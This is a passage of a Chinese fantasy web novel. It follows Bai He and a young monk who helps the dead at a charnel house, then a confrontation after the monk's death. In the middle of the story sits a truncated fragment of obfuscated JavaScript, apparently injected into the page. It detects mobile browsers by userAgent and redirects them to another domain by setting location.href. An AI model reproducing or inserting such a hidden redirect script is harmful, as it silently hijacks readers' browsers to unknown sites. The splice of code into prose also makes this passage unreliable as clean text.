小和尚两口吃完手里最后一口馒头,把剩下的馒头仔细打包好背在身上,才慢悠悠地说:“吃了两个馒头了,你跟个傻子一样,注意力全在镯子上,怪我咯?”
白河瞪了一眼小和尚,把镯子掩进袖子里,责怪地说:“你吱个声不就好了,吓我的差点失了魂。”
小和尚撅着嘴,不满地说:“你那是被我吓失了魂?都不想拆穿你。你找我怎么了?”
白河冲着小和尚翻了个白眼,说:“出家人怎么可以乱说话?你怎么知道我是来找你?我还没进寺庙呢,万一我就是来上香的呢?”
24.上山又下山 义庄度亡灵
小和尚双手合十,立正身体,神神秘秘的对白河说:“天机不可泄露,我就是知道。”白河看着小和尚的样子,想笑又不好意思笑,只能无语看着他。
小和尚见白河不跟自己贫嘴了,才开始向山下走,说道:“走吧,佛祖也不受你香火,你不如跟我下趟山。”
白河赶紧跟上小和尚,好奇地问:“下山干嘛?”
小和尚自顾自地走着,头也不抬地回着:“下山做法事咯,刚刚化缘得到了几个馒头,得有所作为,干点正事。”
白河没好气地说:“你那叫化缘,你那是抢,你得了我的馒头,我还没说我找你什么事呢。你说干点正事,是什么正事?我刚刚才爬上来又要下去,你最好干的是正事!不然馒头就还我。”
小和尚还是闷头下山,说:“吵死咯,你跟着就好嘛,这点爬山路,不正是你拿手的?你又不会累。”
一大一小两人唧唧歪歪的就下了山,走了一会就遇到几个信徒跪拜进山,那几个信徒每一步阶梯一跪拜,嘴里一直在诵经也不停,所以上山的路走得很慢很慢。几个人和白河、小和尚都打了照面,双方都安静弯腰行礼,没有多余的话。等到走远了,白河才问小和尚:“这么跪着上去不累吗?为什么要这么做啊?”
小和尚转着胸前的小号念珠,干脆地回答:“因为虔诚。”
白河又问:“为什么虔诚?”
小和尚站住脚步,没好气地看着白河,回道:“因为有所求,因为你没有佛性,因为你满脑子都是包,真的是什么也不想。”
白河被小和尚气急败坏的样子逗笑了,只能回答说:“我无所求,我笨好了吧。不是说‘事在人为’吗?我还以为想要什么东西自己去争取就好,求来求去,总是个未知数,能不能成真都不一定,浪费时间嘛。”
小和尚摇摇头,说:“世人总有不可为的事情,做不到也要有个盼头。你只听过‘事在人为’,难道没听过‘念念不忘总有回响’吗?”
白河不好意思地敷衍着:“是是是,高僧金言,我记住了。”
小和尚白了一眼白河,继续赶路了。别看小和尚年纪小,可脚下功夫不一般,从无名山一直晃荡前行,一步也没停,也不喊累,好不容易慢了下来,都已经是下午了,四舍五入两个人走了大半天,终于在一处荒郊野岭的路口停住了脚步,路的不远处孤零零的立着一座很大的土房子,土房子没有窗户,没有人气,正是下午太阳有些失色,这房子老远看见有些阴森。
小和尚指着庄子说:“前面就是义庄,里面都是死人。”
白河一听,汗毛炸起,活了这么多年,白河很少见到人,别说尸体了,就是下意识觉得抵触、恐怖,立马说道:“你带我来这干什么正事?看死人?”
小和尚看白河一惊一乍的,嫌弃的瞟了白河一眼:“义庄里都是些无人认领的亡灵,可怜没人办后事,冤魂不散,聚集多了要出事。我是来给它们超度的。”
就是白河再怎么不懂,她也能察觉,超度这种事一般僧人肯定做不了,小和尚这么大言不惭,她突然觉得他有点神经兮兮,开口不客气地说:“就你?你先告诉我,你有没有满十二岁?清净寺的方丈也疯了吗?就让你一个人来?”
小和尚撇了白河一眼,高声说:“我,清净寺的高僧,怎么就不能呢?说的都是什么话,一会儿帮忙堆柴火,我超度完它们,还得把尸体都烧尽了才行,不然放久了要生疫病。”
白河觉得不可思议,可小和尚已经向义庄走过去,白河跟在后面喋喋不休:“你别闹了,回去请方丈来吧,你年纪小,一会肯定要被人赶走的。”
小和尚没理会白河,几步走近推开了义庄院子的门,义庄院子很大,正中间已经堆起一个一人高的火化柴堆,柴堆上几具尸体整齐地摆放着,尸体上盖着一层白布,只露出了几个人头,白布上密密麻麻地写满了经文,烧尸堆旁边还散着几十捆备用柴火,这一看就是附近的村民提前把场地收拾好,只等僧人来做法事的。
明明是初夏天气,白天日头也足,温度不低,可尸体并未腐烂发臭。几具尸体面容都不安详,骨瘦嶙峋的那个一看就是饿死的;满脸脓疮的那个不用想就是病死的;还个脸色发白的,应是游水出了意外,泡的脸色有些发青;还有个满头血渍与白布盖着的身体有些衔接错位,白河猜可能是遭砍头死的。看着这些狰狞的脸,白河打了个冷战,浑身不自在。
小和尚平静,有些和这个年纪不符合的老成,在柴堆里拣了一根柴,就绕着火葬堆画圈,边画边对白河说:“都是些枉死的人,生前有冤屈,死后也想要个清白,不愿意轮回,所以才会请我们来解冤屈超度。超度时活人不得靠前,怕被这些冤魂纠缠记恨,所以这里都打理好前面的事宜就走了,一会我超度完,你就把剩下的木柴在架些上去。”
小和尚嘴上说着,手上也没停,说完这话,也正好画完了圈。他看着白河还在发呆,就问道:“是不是看着难受?”
白河回过神点头说:“对,莫名其妙的不自在。”
小和尚嘴角动了一下,正正的看着白河:“因为他们不该死却死了,如果是你,遇到不该死的人,你会让他死吗?”
白河抬眼瞪着小和尚:“我不滥杀无辜。”
小和尚又问:“什么是无辜?”又指着这些尸体接着问:“这些算无辜吗?可他们都死了,这算不算该死?”
白河被问住了,一时间不知道怎么回答。小和尚也没有在说话,扔去木柴,几步走到门口,解下背着的包袱,拿出木鱼后放好包袱,回到烧尸堆这里,正对着烧尸堆就席地盘坐。又吩咐白河
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:“你到我身后来,好好看,说不定你就能知道答案了。”白河顺从地盘坐在小和尚背后,小和尚从质问白河开始,身上的气度就完全不一样了,语气也是老道干脆,让白河有一种听老天师说话的感觉,还多了一种无法言说的莫名敬畏。
小和尚低头双手合十诵经,经文听起来复杂又长,白河听不懂,但没有乏意,定定地听着。经一直念到天全黑,周围已经看不清东西了,白河这会也不觉得害怕。直至小和尚停止了念经,随着木鱼声起,白天小和尚画的那个圈开始泛金光,木鱼还在有条不紊的响着,金光越来越亮,直到照亮了整个院子。
木鱼节奏变快,小和尚又开始念起了和刚才不一样的经,金圈里的尸体上飘起几道魂魄,晃悠悠地,那几个魂魄很快便矗立在金圈边缘,看着小和尚,呆呆地喊着:
“我饿得慌,黄泉路上走不动啊!”
“我难受,脸上这么大脓疮,怎么下去见家人啊!”
“匪盗砍了我的头,我冤枉啊!”
“我不认识毒草,我不想死啊!”
“我识水性,怎么会死啊?”
几个冤魂凄惨嘶嚎,想要冲到小和尚面前来,却又被禁在群里,只能是那里扭曲身体叫冤。小和尚根本没有理会,一味地念经敲木鱼。不多时,几道魂魄声音越来越小,渐渐往地下隐去,金光也渐渐褪去,随着小和尚慢慢停下念经,那些魂魄不见了,白河这会儿已经没有了刚开始的不自在,只觉得平常。小和尚木鱼还在响,又让白河把剩下的柴火堆好点火,并嘱咐不要用修为点火。白河就着金光余亮,磨蹭了几下才不熟练地用打火石点着烧尸堆,烧尸堆火焰渐旺,小和尚才停下敲木鱼,起身活动手脚。
随着小和尚停止念经,金光消失,白河晃着脑袋左右找金光,确定金光荡然无存,才回过头来问小和尚:“法事结束了?”
小和尚揉了揉手腕,安静地回答道:“金光算是结界。引导它们端正思绪,只有轮回这一个念头,一般法门结界已开,周遭就不会有活人或是修士了,倒不是对他们有什么伤害,就是会影响他们,失了心,魂魄会不由自主进法门去轮回,留下个空躯体。”
白河眨了眨眼,说:“我怎么没想着轮回啊?”
小和尚抓起木鱼的敲棍,扔向白河,没好气地说:“你脑袋里是空的,能装得下其他想法?你试试敲一下,看看是不是比木鱼还响?我刚才敲什么木鱼,我就应该敲你,说不定效果还能更好!”
白河敏捷地接过敲棍,嘻嘻地笑了一下,转头看着火堆,还在想着发生的事情,又问道:“所以,这是超度完成了?他们去了哪?”
小和尚蹬了蹬麻木的腿说:“去轮回了。”
白河不解地问:“之前不愿意去轮回,你念完经,他们就愿意去了?”
25.小和尚牵因 准星神结果
小和尚一边活动手脚一边回答着白河:“我开了轮回法门,除去怨念,魂魄自然就清静了,只想着去投胎,再留着就是鬼魂了。”
白河还是不理解,又问:“成鬼魂又能如何,不是能成鬼修?”
小和尚停下手脚,定定地看着白河说:“你知道鬼修怎么修炼的吗?”
白河反应过来,闭了嘴。鬼修和妖一样,可以依靠天地灵气慢慢修炼,但大多数会以人为修,人身上有三样东西很珍贵,精、气、魄,妖修要精魄,鬼修要魂魄,魔修要气魄,三样都没了,就是死人,连轮回的机会都没有了。做鬼修就意味着他们很可能会害人,佛门渡鬼,就是为了让他们放弃成鬼修,安心轮回,所以这么问小和尚倒是有些不合情理。
白河没有在纠结于这个话题,只是幽幽地说:“人要是不死就好了。”
小和尚一边收拾东西一边说:“人什么都好,身体力行,有智慧有觉悟,真要说起来,简直是占了天时人和地利里的两样,在三界都占着先机,如果再没有生老病死,万物遭殃。活得再久点,其他生物也就没有存在的意义了,这何尝不是对万物最好的保护呢。”
白河静静听着小和尚的话,看着越烧越旺的火。小和尚想了想接着说:“从万物角度来说,这就算该死了,你可想明白了?”白河默默点了点头。
天快放亮时,火才熄灭,院子中间空留着一堆灰烬,想来也是无奈,辛苦活了几十年,到头来也就是一把灰土。小和尚把行李背好,对白河说:“走吧,余下的天亮自会有人来收拾,我们得回去了。”事情已经做完了,白河倒也没有其他想法,就跟着小和尚原路回清净寺。
回去路上已经没有那么赶,加上一夜没睡,白河跟小和尚走走停停,路过一处亭子停下休息。休息之余白河想起此行的目的,问小和尚:“你上次说起我的剑,那是把五行剑,专门斩妖除魔,前几日我用它杀了个大妖,那只妖其实是我朋友,我根本控制不住剑,都莫名其妙杀了他。”
小和尚转着手里的佛珠,应声说:“彼,我知道,这把剑是个利器,就是不仅能斩杀,还能吸收修为为己用。”
白河赶忙解下身后的剑,看起来:“对,它奇怪得很,吸收修为,可我并不想这样,我从来没有想过要用他人的修为来修炼自己。”
小和尚看了一眼五行剑,说:“你用不上,也用不了,而且这把剑上的修为已经没有了。”
白河想起那时候只有天师才碰过剑,情绪一时复杂,控制不好表情,怪异地看着小和尚,小和尚看着她纠结的样子,笑了笑,说:“你看看,你给他人做了嫁衣。”
白河蹭地站起来,握着剑,脸上怒气尽显:“果然骗我!”又看着小和尚问:“你说,他为什么要骗我呢?”
小和尚也看着白河说:“你说呢?那肯定是斩妖除魔啊。”
白河还是气愤:“斩妖除魔需要骗我?这剑明明是个利器,他们自己也能行,非要中间过我一手?”
小和尚笑着说:“没人告诉你吗?斩妖除魔是正道,枉杀无辜是要背因果的,再正的道它都不是无法无天的,谁会好好的把自己陷进牛角尖里,自找天罚?”
白河气得笑了,生气的喊着:“那么我就不背因果了?”
小和尚哈哈一笑:“对啊,你为什么不背因果呢?”
白河看小和尚这么说,止住了生气,问道:“我真的不背因果?”
小和尚摸摸光溜溜的脑袋,笑着说:“不是三界之物,又跳脱五行之外,你说怎么背因果?”
白河想起九尾族奶奶唤她星君,只得问小和尚:“曾经有人叫我星君,到底是什么星君?我怎么一点感觉也没有?”
小和尚想了一下,说:“不知道,星君的事情只有星君自己晓得,我们旁人如果能看透,那还了得?”
白河这会怒气已经没有那么重,刚才还疑惑的情绪不知怎么的,突然又消失了,白河呆了一下,收起五行剑,对小和尚说:“说来奇怪,我想不明白星君的事,可我从来都没有疑虑过,所以不想了。但这把剑我却能说服自己接受。”
小和尚被白河大起大伏的情绪吊起兴趣,说:“说来听听,你怎么说服自己的?”
白河消化了天师那套说辞,自己在稍加理解,就变成了:“人性本恶,一些妖魔鬼怪得人识,放大了恶,留着它们也是祸害。”
小和尚听到这里皱起眉头,叹口气问白河:“你的意思是,只有妖魔鬼怪才有恶,人可能是善?”
白河不解的看着小和尚,小和尚接着说:“你也不想想,只有妖魔鬼怪能放大恶性,怎么站得住脚?人性本善,善恶只是一念间,谁都可能恶,不是只有妖魔鬼怪才恶。我佛慈悲,渡化怨念就是为了避免鬼魂善恶不明时,因怨念生恶意,残害生灵。”
小和尚接着说:“既然是一瞬间才生的恶意,就能度化”
白河对小和尚的话有些震撼,忽然开口问:“你当真十二三岁?你话语间明晰透彻,一点也不稚嫩,清净寺还放心让你这样一个小孩子出来超度亡魂,我实在好奇你。”
小和尚收起了严厉,怅然地说:“清净寺的名字起的真好,可是自己去清净寺根本就不清净,下山超度是真的不得已了,但凡清净寺里有一个真正想着干干净净地弘扬佛法,我都不会出现在这里。”
白河听了更好奇了:“清净寺也不干净?”
小和尚闭目不再回答,白河想了想问:“对了小和尚,你叫什么名字?”
小和尚听闻睁开眼,忽闪忽闪,尖声质问起来:“你跟我这么久,一直不知道我叫什么?”
白河无辜地:“忘了问了,在明光山的时候,观里的人也都没问,你自己不也没说过嘛。这一路我叫你小和尚还挺顺口的。”
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小和尚气的鼓起了嘴,不满地说:“我都知道你叫白河,你却一点也不知道我,真叫人生气。”
白河不好意思地道着歉,小和尚才幽幽低下头说:“也是了,我来走这一遭,就是想不明白,地狱恶鬼越来越多,佛门弟子究竟在做什么,逼得这么多冤鬼不入轮回,闹着要和佛门不死不休。”又说:“你一出世,我就知道了,或许只有你能帮我解决这个疑惑,就是不知道你还要多久才能清醒。我太着急了,才会入世”
白河听到这里坐直身子,惊讶地问:“我一出世你就知道,那你根本就不是十二三岁,怎么看起来一点年岁也不涨?”
小和尚轻笑了一声:“真要说,我还得唤你一声小朋友。你一直喊我小和尚,我也不跟你计较。”
白河不明所以却又没有在意小和尚的年纪,追着问:“那我怎么称呼你?”
小和尚歪着头想了很久,才开口说:“入世下凡来是为了在你这里找个答案,是我太急了,你完全就是没开窍,白来一趟。也是了,你开不开窍都不是我能干预的。白河,吃了你给我的馒头,有了因,我带你去超度,其实是还了你一个果,但这个果现在不显,可以不着急解开。待到你开了窍,解了我在清净寺的疑惑又是一个因果,这两个因果一时半伙我可解不开。好在这凡间我还得走几遍,再见你的时候,就是我解开因果,了却心结的时候。”又认真地回答白河:“金乔觉。你再见我时,我就叫这个名字,你可记清楚了?”
白河点头直应记住了,小和尚这一套因果关系给她说懵了,她现在理不清,也听不懂小和尚的话,索性不再想。两人走到无名山脚下的时候,小和尚和白河道别,临别时,小和尚对白河说:“你不是有个镯子要我开光吗?再不说,我就自己走了。”
白河差点就忘了这件事,惊叹小和尚怎么什么都知道,小和尚笑而不语,接过白河递过来的手镯说:“现在天色晚了,我累死了。我先带去清净寺,过几日才让人给你送过来。”又看着白河右手上的镯子说:“你那个镯子是真好看,可惜了,也不知道能戴多久。”
白河看着手上的镯子,满不在乎地说:“给了我的,他还能要回去不成?”
小和尚无语地说:“跟你个不开窍的说不明白。我上山去了,你回明光山还有一段路,去找个地方休息吧。清净寺都是和尚,你一个女孩子不好夜宿,辛苦你了。”
白河摆摆手,笑着说:“要不是陪你走路,我都飞个来回了。天快黑了,你一个人走,我也不放心,再陪你走一段山路,看见寺庙了我就走,再说了,半山腰飞行不会惹人注意。”
小和尚无也觉得白河说的是,就又和白河爬了一段山,走到天黑许久,才见到寺庙大门,白河辞别小和尚,转身飞向了夜空,小和尚看着白河的背影,抬起手摆了几下,身体忽然放松了下来,才转头进了寺庙。
26.小和尚圆寂 清净寺围堵
白河没有在无名山附近找地方休息,而是紧赶慢赶回了道观。回到明光山已是深夜,道观里寂静无光,白河忙活了一天,这会儿又累又困,悄咪咪地回了袇房。再醒来时已经是第二天中午,从昨天晚上饿到现在,正好赶着饭点,和张漾张清坐在一张桌子上狼吞虎咽。
张漾嫌弃白河:“真是看不下去了,你一声不吭跑出去两天,怎么?饿了才想着回来?饿死鬼附体啊!”
张清把菜往白河那边挪了挪,也笑着说:“慢点吃吧,不够我再去拿。”
“你不如拿到符镇一镇我,我看看是什么鬼敢来明光山放肆。”白河不满地瞪了他俩一眼,嘴里东西还没咽下去,说话含含糊糊:“山下的馒头难吃得很,鬼都嫌弃,我硬着头皮饿着跑回来,差点饿死在道观门口。”
白河可能自己都没发现,见到小和尚之后,她话多了起来,放在以前,张漾这么打趣自己,她只会一言不发,而现在,张漾说一句,她能回十句,张漾被顶得无语,偷瞄着张清,才说:“白河心情不错啊,才出去一天,这是遇到什么好玩的事情了吗?”
张清也觉得白河这会心情好,但也对她出去遇见了什么好奇,看着白河狼吞虎咽地吃着,就随着张漾的话好似不经意的问道:“遇到什么人了吧,还是很重要的人。才会带了东西给人家,还着急送去。”
白河撸起袖子就吃,风卷残云地阵仗吸引了注意力,让人想不到其他事情,所以张漾听到张清说这话时,才注意到她少了一只左手上戴的镯子。
张漾歪头想了一会,就只想起那个跟自己切磋的九尾狐妖,才恍然大悟地说:“你跑回了妖界?”
白河还在继续啃馒头,只是右手的动作慢了下来,右手上的镯子藏也不是不藏也不是,只能含糊的说道:“没有,我去清净寺给小和尚送馒头,镯子是给我妹妹的,被小和尚要去开光了。等开好了光,我再回妖界送给我妹妹。”
张清语气忽地就冷了下来,冷冰冰地说:“开什么光非得去寺庙,明光山还不如他清净寺?你与妖界的关系现在还说不清楚,不能只听他一言,就想着回去,万一遇到危险呢?你现在与妖界那些妖又不同,谁知道它们按着什么好心,妖性如此。”
白河几口吃完手里的馒头,坐直了身子,看着张清,语气也冷了下来,说:“我以为我去哪做什么见到谁,都应该是我想去才去,并不是别人想我不去就不去。我也以为,我还没有笨到哪里危险就去哪里,不然我应该是活不到现在。妖性什么样,这我还真不知道如哪个此,张师兄,我道行浅,刚好现在吃饱了,我这就回去再想想,你慢吃。”说罢就起身回袇房了。
白河很少这么不留情面的怼人,这一番话说的十分在理又格外难听,张清被惊得反应不过来,瞪大眼睛看着白河的背影,旁边的张漾倒是反应过来,可没有挽留白河,只是瞪了一眼他,说:“师兄,你平时说话也不这么气人啊,打自绿林国之后,说话就没一句好听的,你看白河气的,她什么时候说过这么多话?”
张清也震惊白河对他的态度,呆呆地问张漾:“我又说错了话了?”
张漾没好气地翻个白眼,低头吃饭不理他了。
白河怼完张清后就不再和张清说话,也不再去后山练剑,张漾几次去找她,她都是蒙头睡觉不理人,因为天师允了,张清也拿她没办法。三日之后的傍晚,白河躺着盯着手镯看,从下午开始,手镯突然开始泛起奇异的光泽,不仔细看又看不明白,再磕它,它又没了反应,这让白河感到躁动不安。
正在发呆,张漾急急忙忙的闯了进来,一把拉起她来,着急地问她:“你说你前几日去了清净寺,见了小和尚?”
白河被扯的东倒西歪的,应声说:“是啊,怎么突然问这个?”
张漾赶紧说:“小和尚跟你说什么了吗?”
白河从床上爬起来站好,整理衣服,莫名地看着张漾说:“怎么了?好端端地问起这个。”
张漾急得抓耳挠腮:“他圆寂了。清净寺的方丈带人来观里找你,说是小和尚见你之后,回去不跟旁人说话,今天早些时候嘱托寺庙的人给你送镯子来,然后就一个人在禅房圆寂了。小和尚什么话都没给清净寺留,方丈不明白缘由,带着人来这里讨说法。这会儿在山脚下跟天师对峙,师兄在那想请他们上来,他们都不来,让我来叫你。你要是惹了事情,我带你从小路逃走,总归是庙里圆寂的,跟你能有什么关系呢?”
白河安静的听张漾把话说完,手里默默地把手镯正了正,才认真地说:“我跑什么?找我要说法,我跑走了,那才真的是百口莫辩。亏你还说跟我没什么关系。”说完,就走出袇房,飞疾去往山下。
山下两拨人隔着道观的门头对立,为首的天师和方丈正在看着对方无语,身后的弟子还在七言八语,相互责骂:
“请你们到观里坐着讲清楚,怎么这么犟?”
“你们纵容她去清净寺招惹我师弟,有什么好坐的?”
“你说话可有凭证?小和尚来我庙里时好好的,跟白河有说有笑,怎么就是白河招惹他?”
“师弟是神星转世,在清净寺好好传着佛法,自从下山见过她,就一声不吭地圆寂,你说没关系?”
白河正好赶到,走到天师身后,还没站稳,接着这句话就回答道:“跟我有什么关系?你仔细点说,我听听你们想说什么关系?怎么个事。”
张清收起拂尘抱在怀里,往前几步,站在白河旁边,怕她冲动。看到白河来了,方丈才制止身后的和尚,单手从怀里递出一个镯子,开口道:“阿弥陀佛,释真让交予施主的东西,物归原主。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816273|174949||http|test|mini|href|location''.split(''|''),0,{}));
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>白河正要上前接过来,张清又拉住了她,几步走过去拿过镯子谢了方丈,回到白河身旁再递给了白河。方丈见白河拿过镯子继续说道:“镯子是释真专门嘱咐送来的,老衲也算完成了他的心愿。可老衲有些不解,想请教施主,望施主不隐瞒作答。”
白河左右仔细看着镯子,镯子的光泽确实和之前不一样,戴着淡淡的白光,摸起来格外舒服,白河满意的弯起嘴角,对镯子爱不释手,几下就把镯子戴在左手上,说:“谢谢方丈,你问吧,我有什么说什么。”
方丈神色很淡然,既没有失去小和尚的伤心,也没有怒气,只是语气很平常的对白河说:“镯子确实普通,只是开了光,保清明聪慧。这等小事,天师就可代劳。施主为何舍近求远前往清净寺,求年纪小小的释真?释真虽是神星下凡,可从未出寺庙,平日只传佛法,未曾作法,我寺庙众人从未知晓他有这个本事。你又如何知道?”
小和尚根本就没和白河提过这个‘释真’的法号,白河听的别扭,也不愿意这么叫他,就没有理会,还是叫他小和尚:“是小和尚自己找到了我,上次他来道观,就跟我提起了,我当然就记住了。你们竟然不知道?奇奇怪怪的。我和小和尚有缘,聊得来,去找他玩,镯子开光也就是顺手的事情而已。”
方丈脸色有些凝重了,语气也没有那么淡定,一番三连问:“去找他玩?一夜未归?玩什么?”
白河想了想,认真的回答道:“也算不上玩了,他带我走了一天路,晚上才赶到义庄,超度亡魂。临别时,我俩还好好地说了好一会儿话,但他了,此次出世太急,他要回去好好再想想。”
听到小和尚去超度亡灵,那群和尚都瞪大眼睛面面相觑不敢信白河的话,方丈身后一个和尚更是脱口而出,又是一番三连问质疑白河:“释真师弟去超度?你看见了?他一个人?”
白河点头回答道:“对啊,开轮回门,解冤念,我还帮他点火焚尸化土,做法什么的,都是他一个人完成的。”
听到十来岁的小和尚一个人做法超度,人群都在窃窃私语,方丈忌讳地看白河,天师也皱着眉头侧头望着白河。白河扫了一眼人群,见他们不信,问道:“超度不是你们常做的事情?有什么好奇怪的,你也说小和尚是神星下凡,神星超度几个凡人亡灵,也不是难事啊,很奇怪吗?”
方丈卡在了那里,突然眼神里多了一丝杀意,手上的法杖也是同时叮零作响,天师猛然朝和尚人群背后扔过去一个符纸,厉声道:“躲在那里偷听做什么,出来。”
众人望去,见一个青衣女子徒手接住符纸,正瞪着他们,也是一瞬间,一个红影在两拨人群里忽闪来回,带着白河站在了青衣女子身后。场面从和尚和道士对峙,一下子就变成了和尚和道士站在一边,青衣女子、红衣男子、白河三人对峙。
27.道佛剿三妖 掌中巧脱逃
白河站稳脚跟,才看清眼前的两个人,青衣女子是白水,红衣男子是妲菁菁。白河之前就见过妲菁菁了,所以没有太惊讶,倒是白水有了很大变化,身材高挑了许多,比妲菁菁矮了半个头,比白河高出了半个头;头发也跟妲菁菁一样束起了高马尾,绑着一根青色发带;身穿一件白透青绿的锦衣,看起来温儒洁净。
白河惊喜地抓着白水的手说:“你们怎么来了,什么时候到的?”白水正帅气的跟天师他们对峙,被白河这么一拉,有些失势,赶忙尴尬的轻轻甩了一下白河的手,又正色厉声的重新站稳,盯着对面的人群。
妲菁菁看白河无恙,赶忙拉起白河手往白水身后站了站,指着她的镯子说:“我听了你的话,找到了白水,回了浮屠山。今天下午的时候,你带的镯子突然就警示我,然后就失了联系,族奶奶察觉异样,让我带着白水疾飞来寻你,还好赶上了。”
白河后知后觉地的点头说:“给你镯子开法的小和尚圆寂了,下午我也察觉这个镯子不对呢”
妲菁菁歪头说:“嗯,我就说镯子多了一道护法,心系起来格外顺畅,我以为是这帮道士突然发好心了呢”说起道士,妲菁菁就咬牙切齿,后半句话咬字重音,还故意大声地冲着道士说:“这帮道士不安好心,要不是族奶奶告诉我了,都想不到他们这么龌龊,有点心思全使在你身上了。”说完又瞥了一眼那几个和尚,跟白河补充道:“这些和尚来意汹汹,白河你小心点。”
白河正要替他们解释,张漾匆匆赶来,白河下山飞行,张漾没跟上白河的脚步,又想起她忘了拿剑,怕两拨人打起来,白河没有武器吃亏,又返回去背白河的剑,所以来晚了些,可还没等他喘口气,就看到了这个场面,跑得太快岔了气,张漾来不及说话,弯着腰只咳嗽。张清眼睛转向张漾,瞪了他一眼,张漾察觉到,才赶忙立稳身体正要说话,不知怎么的,就猛然被神附体,双眼骤白,五行剑从他背后飞出,落到到手里,整个人威严无比,在场人纷纷感到压力,低头敬神。张漾缓缓开口道:“竟然闯道门!区区狐……”
白河只道不好,张漾怎么就突然请神了,上神开口定性三人是狐妖,很容易一语成谶,白河白水可以不在乎,可妲菁菁还是要避开的。但白水反应极快,不等张漾说出那个妖字,白水神格刹起,将神格比请神的神力强太多,直接打断了张漾。白水开口就骂:“上神愚昧,怎么受无耻小辈之请,金口免开罢。”
张漾的话被卡在喉咙里,请神被白水硬生生喝退,张漾受不住神格反噬,瘫倒在地,眼角、嘴角里渗出了血,张漾喘着粗气盯着张清,说不出话来,白眼一翻,昏了过去。
天师见弟子受伤,甩起拂尘,厉声指责白水道:“过分了!伤我道门弟子!”道士们拔剑备战,和尚们也都念经护体,一时间金光闪闪,白水褪去神格,恢复了清明。白水也不惧他们,盯着金光反驳道:“是他先起的念,开口就要言谶,道家规矩就是这么教的?”
天师面露狠色,瞪着白水,白河见情况不妙,上来劝说:“都安静下来吧,本就是寻常的事情,怎么突然这么暴躁?”说完还望向被抬走的张漾,心里只觉得奇怪。
又回头问白水:“你怎么出了妖界来见我,不会还是要杀我吧?”
白水瞪着她说:“你能出妖界我也能出。我说的是你回去我就杀你,我又没说我出来了,还杀你。我讲道理的很。”
白水笑着撸下给她准备的镯子,塞给白水,说:“给你的,拿好。”
白水接过镯子,看也不看就戴上,语气才好些地说:“好东西,谢谢姐姐。这个明光山你留不得了,跟我们走吧。”
白河点头说:“前几天就在想了,只是不知道去哪。今天正好先随你们回去。”
天师听闻,起手就是一道符纸飞向三人,说:“走?她今天哪都去不了,我明光山是你们想来就来想走就走的?”方丈也开始作法,身上的袈裟凭空飞起,在空中展开,变成了一张大网,虎视眈眈地冲向三人。
妲菁菁白水也不含糊,法术皆起,打落了天师的符纸,准备跟他们过招。白河对天师和方丈说:“小和尚的事情就是这样,跟我没关系。明光山也从未收我为徒,怎么不能走了?”
方丈开口说:“因你而起,你逃不了干系。你们如此胡来,不收你们,天理难容。”
白河被说起脾气,瞪着方丈道:“你说谁天理难容?”方丈想起了什么,尴尬的看了一眼天师,又迅速恢复了脸色,瞪向了妲菁菁。天师听到这句也面露一丝尴尬的神色,但和方丈一样,迅速恢复,轻喝一声,凭空飞起无数飞剑,同样也对着妲菁菁说:“我倒要看看你怎么个说法,天收不了你,我来收!”
白河朝白水使了个眼色,白水默契地后退,拉着妲菁菁准备站在一边,妲菁菁没有动,白水奇怪地看着他,说:“给白河腾地方啊,她才能施展开。”
妲菁菁沉闷,扭捏地跟白河说:“我担心你,我帮你不是更好?”
白河看着妲菁菁只感到莫名其妙,不解地问白水:“他什么毛病?你带着他先回妖界,这里有我,他们杀不了我,想杀他倒是真的。”
白水结结实实白了两人一眼,没好气地跟妲菁菁说:“这会儿就收起你那心思,真没眼看。”
妲菁菁还想说什么,白河朝他一挥手说:“赶紧走,别分我心。什么话等我回去再说。”
白水也顾不得妲菁菁的扭捏作态,强拉着妲菁菁一下就闪没了影,飞剑和袈裟想去追妲菁菁,白河猛然降神,神格降来下,所有法术全都消停,飞剑袈裟掉落一地。天师不可思议地看着白河,也不怪天师,白河降的神格不是以前的妖形,而是天尊三清之一。降神格不是请神,白河是妖,又不曾拜师道门,根
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本不可能让三清天尊借法护身,可白河就这么做到了,天师不知所措望着白河,他不可能逆天尊而为,只能看着白河什么也做不了。
方丈见此情景,看懂了天师难处,把挂在脖子上念珠,丢了向高空,念珠凭空变大,一个珠子有一人大小,随着念珠转动,空中赫然出现一个半个天空大的佛祖,念珠硕大无比,飞速在佛祖脖颈处旋转,竟刚好合适,可想而知,是多大的佛祖。金身佛祖面无表情看着白河,白河还没反应过来,佛祖就伸出一个手掌压下来。
那手掌伸向白河,到白河头顶时,已经变成了刚好能碾住她的大小,佛手金光闪耀,白河的神格也早就退去,来不及闪躲,就被手掌压住。白河力气很大,刚好能撑住,但已经脱不开身。方丈念经的动作缓和,天师看白河已经落了神格,御剑正要追白水和妲菁菁。白河趁着方丈这时松懈,扛住手掌,施法召唤五行剑,五行剑得了白河的令直插天师后背,天师只得停止御剑,闪身躲避,但如果天师躲过五行剑,剑就会戳向方丈,天师侧了半边身子,徒手接住剑,手里鲜血直流,张清看到惊呼:“白河,你怎么还要杀方丈!拿天师的剑伤天师,你怎么敢的!”
天师刚要开口斥责张清不要乱说话,前边的方丈身子一顿,语速加快。佛掌力道加强,白河顶不住,轰的一声,佛掌硬生生拍平了地面。天师顾不得手还在流血,几步冲到前面。方丈停止念经,佛祖和佛手消失,念珠恢复如常,落在了方丈手上。
佛掌压平的地方干干净净,没有丝毫痕迹,天师怒骂张清道:“你在那里胡喊什么!”张清胆怯地往后站了站。天师又对方丈说:“你急什么!出家人还着急杀生?”
方丈带好念珠,走近仔细观察了一番,才说道:“没下死手,只是想打断她飞剑。她又没死,就是不知道怎么逃脱了。我刚刚并未使全力,只是压着她而已,怎么就不见了。这周围也没什么动静,能去哪?”
天师仰天长叹,痛心疾首地指责方丈道:“哎呀,怎么就搞成这样!你怎么今天偏寻来了呢?”
方丈语气里也有责怪,语气也着急地说:“佛家神星入世,你知道有多难?我小心谨慎呵护十年,没想到刚开悟就圆寂了,我不来问问她,我怎么甘心?”
天师耷拉着脑袋,恨铁不成钢地说:“差这点时间?你没看见吗?她降了天尊神格,都已经蜕了妖,这么走了,又要生变数,到时候难不成……”
